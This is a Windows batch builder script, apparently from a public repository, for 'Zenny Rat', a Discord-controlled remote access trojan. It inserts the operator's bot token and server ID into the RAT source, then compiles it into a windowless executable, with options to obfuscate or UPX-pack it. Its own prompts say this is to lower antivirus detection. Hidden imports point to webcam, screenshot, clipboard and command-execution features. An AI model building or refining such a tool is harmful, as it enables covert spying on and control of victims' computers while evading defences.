-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathbuild.bat
113 lines (95 loc) · 7.05 KB
/
build.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
@echo off
setlocal
goto start
:start
echo Have you Installed all requirements before running?
set /p Install="Install Requirements? y/n: "
if "%install%"=="y" goto main
if "%install%"=="n" goto installrq
pause
:installrq
pip install -r requirements.txt
goto main
:main
copy Zenny.py building.py
chcp 65001
title Zenny Rat Version 0.1
mode con: cols=200
echo ooooooooooooooooooooooooooooooooooooo
echo 8 .d88
echo 8 oooooooooooooooooooooooooooood8888
echo 8 8888888888888888888888888P" 8888 oooooooooooooooo
echo 8 8888888888888888888888P" 8888 8 8 ╦═╗┌─┐┌┬┐┌─┐┌┬┐┌─┐ ╔═╗┌─┐┌─┐┌─┐┌─┐┌─┐
echo 8 8888888888888888888P" 8888 8 d8 ╠╦╝├┤ ││││ │ │ ├┤ ╠═╣│ │ ├┤ └─┐└─┐
echo 8 8888888888888888P" 8888 8 d88 ╩╚═└─┘┴ ┴└─┘ ┴ └─┘ ╩ ╩└─┘└─┘└─┘└─┘└─┘
echo 8 8888888888888P" 8888 8 d888
echo 8 8888888888P" 8888 8 d8888
echo 8 8888888P" 8888 8 d88888
echo 8 8888P" 8888 8 d888888
echo 8 8888oooooooooooooooooooooocgmm8888 8 d8888888
echo 8 .od88888888888888888888888888888888 8 d88888888 ╔═╗╔═╗╔╗╔╔╗╔╦ ╦ ╦═╗╔═╗╔╦╗
echo 8888888888888888888888888888888888888 8 d888888888 ╔═╝║╣ ║║║║║║╚╦╝ ╠╦╝╠═╣ ║
echo 8 d8888888888 ╚═╝╚═╝╝╚╝╝╚╝ ╩ ╩╚═╩ ╩ ╩
echo ooooooooooooooooooooooooooooooo 8 d88888888888
echo d ...oood8b 8 d888888888888
echo d ...oood888888888888b 8 d8888888888888
echo d ...oood88888888888888888888888b 8d88888888888888
echo dood8888888888888888888888888888888888b
echo.
set /p bottoken="Enter Bot Token: "
powershell -Command "(Get-Content building.py) -replace '%%token%%', '%bottoken%' | Set-Content building.py"
set /p serverid="Enter Server ID: "
powershell -Command "(Get-Content building.py) -replace '%%id%%', '%serverid%' | Set-Content building.py"
echo.
set /p comp="Do you want it compiled as a .exe/.pyw?: "
if "%comp%"==".pyw" goto pyw
echo.
:pyw
echo Obfuscation: Obfuscates file and gives less detection also less chance
echo they are going to get the bot token
echo.
echo Non Obfuscated Just compiles with Pyinstaller
echo.
echo upx option: builds with pyinstaller doesnt obf but packs with upx
set /p obf="Do you want to Obfuscate your file? (y/n/upx): "
if "%obf%"=="y" goto obf1
if "%obf%"=="n" goto non1
if "%obf%"=="upx" goto upx1
:obf1
pyinstaller --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands --format=pyw output.py -n Built
pause
goto main
:non1
pyinstaller --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands --name=Built --windowed building.py
pause
goto main
:upx1
pyinstaller --onefile --windowed --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands building.py -n Built
pause
goto main
echo Obfuscation: Obfuscates file and gives less detection also less chance
echo they are going to get the bot token
echo.
echo Non Obfuscated Just compiles with Pyinstaller
echo.
echo upx option: builds with pyinstaller doesnt obf but packs with upx
set /p obf="Do you want to Obfuscate your file? (y/n/upx): "
if "%obf%"=="y" goto obf
if "%obf%"=="n" goto non
if "%obf%"=="upx" goto upx
:obf
py obf.py -o output.py building.py
pyinstaller --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands output.py -n Built
pause
goto main
:non
pyinstaller --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands building.py -n Built
pause
goto main
:upx
pyinstaller --onefile --noconsole --hidden-import=os --hidden-import=cv2 --hidden-import=discord --hidden-import=asyncio --hidden-import=ctypes --hidden-import=psutil --hidden-import=requests --hidden-import=datetime --hidden-import=platform --hidden-import=numpy --hidden-import=subprocess --hidden-import=webbrowser --hidden-import=pyautogui --hidden-import=socket --hidden-import=pyperclip --hidden-import=pygame --hidden-import=PIL --hidden-import=ImageGrab --hidden-import=io --hidden-import=discord --hidden-import=File --hidden-import=commands building.py -n Built
upx --best --force dist/Built.exe
pause
goto main
echo Script built successfully.
endlocal